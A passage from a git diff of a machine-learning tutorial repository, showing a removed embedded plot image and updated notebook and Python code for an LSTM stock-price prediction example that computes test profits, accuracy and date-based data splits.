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\n"
- },
- "metadata": {
- "needs_background": "light"
- }
- }
- ],
+ "outputs": [],
+ "source": [
+ "# get the final dataframe for the testing set\n",
+ "final_df = get_final_df(model, data)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
"source": [
- "# evaluate the model\n",
- "mse, mae = model.evaluate(data[\"X_test\"], data[\"y_test\"], verbose=0)\n",
- "# calculate the mean absolute error (inverse scaling)\n",
- "mean_absolute_error = data[\"column_scaler\"][\"adjclose\"].inverse_transform(mae.reshape(1, -1))[0][0]\n",
- "print(\"Mean Absolute Error:\", mean_absolute_error)\n",
"# predict the future price\n",
- "future_price = predict(model, data)\n",
+ "future_price = predict(model, data)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# we calculate the accuracy by counting the number of positive profits\n",
+ "accuracy_score = (len(final_df[final_df['sell_profit'] > 0]) + len(final_df[final_df['buy_profit'] > 0])) / len(final_df)\n",
+ "# calculating total buy & sell profit\n",
+ "total_buy_profit = final_df[\"buy_profit\"].sum()\n",
+ "total_sell_profit = final_df[\"sell_profit\"].sum()\n",
+ "# total profit by adding sell & buy together\n",
+ "total_profit = total_buy_profit + total_sell_profit\n",
+ "# dividing total profit by number of testing samples (number of trades)\n",
+ "profit_per_trade = total_profit / len(final_df)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# printing metrics\n",
"print(f\"Future price after {LOOKUP_STEP} days is {future_price:.2f}$\")\n",
- "print(\"Accuracy Score:\", get_accuracy(model, data))\n",
- "plot_graph(model, data)"
+ "print(f\"{LOSS} loss:\", loss)\n",
+ "print(\"Mean Absolute Error:\", mean_absolute_error)\n",
+ "print(\"Accuracy score:\", accuracy_score)\n",
+ "print(\"Total buy profit:\", total_buy_profit)\n",
+ "print(\"Total sell profit:\", total_sell_profit)\n",
+ "print(\"Total profit:\", total_profit)\n",
+ "print(\"Profit per trade:\", profit_per_trade)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# plot true/pred prices graph\n",
+ "plot_graph(final_df)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "final_df.head(20)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "final_df.tail(20)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# save the final dataframe to csv-results folder\n",
+ "csv_results_folder = \"csv-results\"\n",
+ "if not os.path.isdir(csv_results_folder):\n",
+ " os.mkdir(csv_results_folder)\n",
+ "csv_filename = os.path.join(csv_results_folder, model_name + \".csv\")\n",
+ "final_df.to_csv(csv_filename)"
]
},
{
@@ -1135,6 +534,11 @@
}
],
"metadata": {
+ "kernelspec": {
+ "display_name": "Python 3",
+ "language": "python",
+ "name": "python3"
+ },
"language_info": {
"codemirror_mode": {
"name": "ipython",
@@ -1145,14 +549,9 @@
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
- "version": "3.6.6-final"
- },
- "orig_nbformat": 2,
- "kernelspec": {
- "name": "python36664bitea6884f10f474b21a2a2f022451e0d09",
- "display_name": "Python 3.6.6 64-bit"
+ "version": "3.8.7"
}
},
"nbformat": 4,
- "nbformat_minor": 2
+ "nbformat_minor": 4
}
\ No newline at end of file
diff --git a/machine-learning/stock-prediction/stock_prediction.py b/machine-learning/stock-prediction/stock_prediction.py
index dae2fc8d..e800be7f 100644
--- a/machine-learning/stock-prediction/stock_prediction.py
+++ b/machine-learning/stock-prediction/stock_prediction.py
@@ -16,7 +16,15 @@
random.seed(314)
-def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
+def shuffle_in_unison(a, b):
+ # shuffle two arrays in the same way
+ state = np.random.get_state()
+ np.random.shuffle(a)
+ np.random.set_state(state)
+ np.random.shuffle(b)
+
+
+def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, split_by_date=True,
test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']):
"""
Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting.
@@ -24,8 +32,10 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc.
n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50
scale (bool): whether to scale prices from 0 to 1, default is True
- shuffle (bool): whether to shuffle the data, default is True
+ shuffle (bool): whether to shuffle the dataset (both training & testing), default is True
lookup_step (int): the future lookup step to predict, default is 1 (e.g next day)
+ split_by_date (bool): whether we split the dataset into training/testing by date, setting it
+ to False will split datasets in a random way
test_size (float): ratio for test data, default is 0.2 (20% testing data)
feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin
"""
@@ -48,6 +58,10 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
for col in feature_columns:
assert col in df.columns, f"'{col}' does not exist in the dataframe."
+ # add date as a column
+ if "date" not in df.columns:
+ df["date"] = df.index
+
if scale:
column_scaler = {}
# scale the data (prices) from 0 to 1
@@ -72,17 +86,16 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
sequence_data = []
sequences = deque(maxlen=n_steps)
- for entry, target in zip(df[feature_columns].values, df['future'].values):
+ for entry, target in zip(df[feature_columns + ["date"]].values, df['future'].values):
sequences.append(entry)
if len(sequences) == n_steps:
sequence_data.append([np.array(sequences), target])
# get the last sequence by appending the last `n_step` sequence with `lookup_step` sequence
- # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 59 (that is 50+10-1) length
- # this last_sequence will be used to predict in future dates that are not available in the dataset
- last_sequence = list(sequences) + list(last_sequence)
- # shift the last sequence by -1
- last_sequence = np.array(pd.DataFrame(last_sequence).shift(-1).dropna())
+ # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 60 (that is 50+10) length
+ # this last_sequence will be used to predict future stock prices that are not available in the dataset
+ last_sequence = list([s[:len(feature_columns)] for s in sequences]) + list(last_sequence)
+ last_sequence = np.array(last_sequence).astype(np.float32)
# add to result
result['last_sequence'] = last_sequence
@@ -96,26 +109,45 @@ def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1,
X = np.array(X)
